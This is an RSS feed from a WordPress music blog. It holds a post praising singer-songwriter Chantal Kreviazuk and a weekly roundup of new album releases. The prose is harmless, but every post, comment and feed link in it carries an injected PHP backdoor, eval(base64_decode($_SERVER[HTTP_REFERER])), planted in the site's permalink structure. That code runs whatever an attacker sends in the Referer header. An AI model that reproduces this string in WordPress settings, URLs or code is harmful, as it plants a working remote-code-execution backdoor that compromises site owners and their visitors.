One For The Vault » carole king http://oneforthevault.com The NESP Music Network Fri, 30 Sep 2011 00:18:19 +0000 http://wordpress.org/?v=2.8.4 en hourly 1 Notes: Chantal Kreviazuk http://oneforthevault.com/2009/02/24/notes-chantal-kreviazuk/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://oneforthevault.com/2009/02/24/notes-chantal-kreviazuk/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 24 Feb 2009 17:59:56 +0000 mari http://oneforthevault.com/?p=89 Twice recently, songs by Chantal Kreviazuk have come up on my Pandora pop station, and each time I was compelled to look at who was singing. (That’s only happened one other time recently, and it turned out to be Paris Hilton. Oh well.) The second time, I looked because I was certain it was Kelly Clarkson and I wondered why I didn’t know the song already.

Not to say that Chantal sounds like Kelly. “Time” does sound a lot like the sort of thing Kelly would sing, a piano-driven, edgy pop ballad… and in fact, she has written songs for Kelly, Avril Lavigne, Gwen Stefani and most recently David Cook. Pandora says similar artists are Colbie Caillat, Sara Bareilles and Michelle Branch. She’s a Canadian classical pianist-turned-pop star, and you can definitely hear those classical roots on her original songs. She has a pleasant, strong, diverse voice and as I listened to several different videos on her YouTube channel (all embedding is disabled, sadly) and her MySpace, it became apparent that she is an excellent interpreter. My opinion of her songwriting is that she has the skill of Carole King, which is about the best thing I will say about anyone’s songwriting.

You may have already heard her without realizing it. Her cover of “Leaving on a Jet Plane” was on the Armageddon soundtrack, “Time” played over the credits of the movie Uptown Girls, and plenty of other songs and covers have been on piles of TV shows and movie soundtracks. Chantal has been hitting the Canadian charts for 12 years, her debut album sold well in the US back in 1996, she’s been on Leno, and she has an excellent reputation as a songwriter for some of the most popular American acts. Looking at some of her co-write credits on Wikipedia, it’s apparent that she’s been all over everything I love in pop (and, okay, some I don’t love). And yet, I had never heard of her before this week. How do these things happen?

Anyway, I am now making up for it by spreading the love to you all. Here are links to iTunes and Amazon so you can pick up some of her stuff. I already have!

Chantal Kreviazuk

]]> http://oneforthevault.com/2009/02/24/notes-chantal-kreviazuk/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 New Music Tuesday – April 22, 2008 http://oneforthevault.com/2008/04/22/new-music-tuesday/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://oneforthevault.com/2008/04/22/new-music-tuesday/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 23 Apr 2008 01:14:22 +0000 Margaux http://oneforthevault.com/?p=28 New England Soul Patrol has a weekly feature called New Music Tuesday, where we highlight some of the more interesting new music releases for the week. If you click on the nifty Amazon boxes, you can usually sample the music. If you like it, buy it and your Amazon purchase will help defray the costs of NESP and OFTV projects. Many albums can now be downloaded directly from Amazon — no shipping (yay!), no waiting (yay!!) and frequently cheaper than the physical CD. Individual songs can be downloaded as well.

This week’s blurbs are all written by Alicia (ain127 on NESP). She’s great at finding what’s fun and current. If you want to write a CD blurb, send an email to margaux@oneforthevault.com with the Amazon link and your blurb, and I will consider it for an upcoming edition of One for the Vault.

Let us know in comments if you find something you like in our suggestions.
Margaux

Night Train to Nashville
Tab Benoit
Great blues album. He was honored at the annual Blues Music Awards in Memphis last May as well as B.B. King. This recording is from a two-night performance in Nashville at The Place On Second Street just prior to the 2007 Blues Music Awards ceremony.

Tapestry-Legacy Edition (2-CD)
Carole King
Ok do I really need to review this one? Who hasn’t heard it? But I grew up with it, my Dad loved it and played it at least once a week. I just had to include it.

From Donny With Love
Donny Osmond
Somewhere me and my home girls were talking about The Don man so I just had to include it too. Yes it’s puppy love, and not too bad either. Donny’s just not my thing but it cool that he can still sing it. You go Donny!

Otis Blue: Otis Redding Sings Soul [COLLECTOR'S EDITION] [ORIGINAL RECORDING REMASTERED]
Otis Redding
Another one I’m sure I don’t need to go into detail about, but some songs might sound familiar. How about “Change Is Gonna Come”, I think I remember someone singing that on some TV show a few years ago, what’s his name. Oh yeah Taylor Hicks!!

This Was [IMPORT]
Jethro Tull
Wow these guys rock, looks like this is a 2 disc set. Disc One contains the mono version of the album plus nine BBC tracks, Disc Two features a new stereo mix of the album plus four bonus tracks from rare early singles: ‘Sunshine Day’, ‘Song For John Gee’, ‘Love Story’ and ‘Christmas Song’. No samples available and it looks like it’s an import so it’s a little costly, but they rock, so hey why not check it out.

Nine Lives
Steve Winwood
Another one with no samples, gee I hate that. But it looks like all new songs. Cool. With guest appearance by Eric Clapton on Eric Clapton Dirty City.

Live in Chicago (2008) [DVD]
Dave Specter
I think this is the first DVD we have put up here but I just couldn’t resist. Recorded live at Buddy Guy’s Legends and Rosa’s Blues Lounge, another place our man Taylor played at. Special guest performances by Jimmy Johnson, Tad Robinson and Sharon Lewis, and commentary by Dave as a special feature.

The Way I Play: Live in Chicago [LIVE]
Bobby Broom
Another Jazz cd, another live cd, and another cd recorded in Chicago. I think I’m in the wrong state. I love live jazz, there is something special about hearing the people in the background. Imagine sitting having a beer and hearing someone like this play wow.
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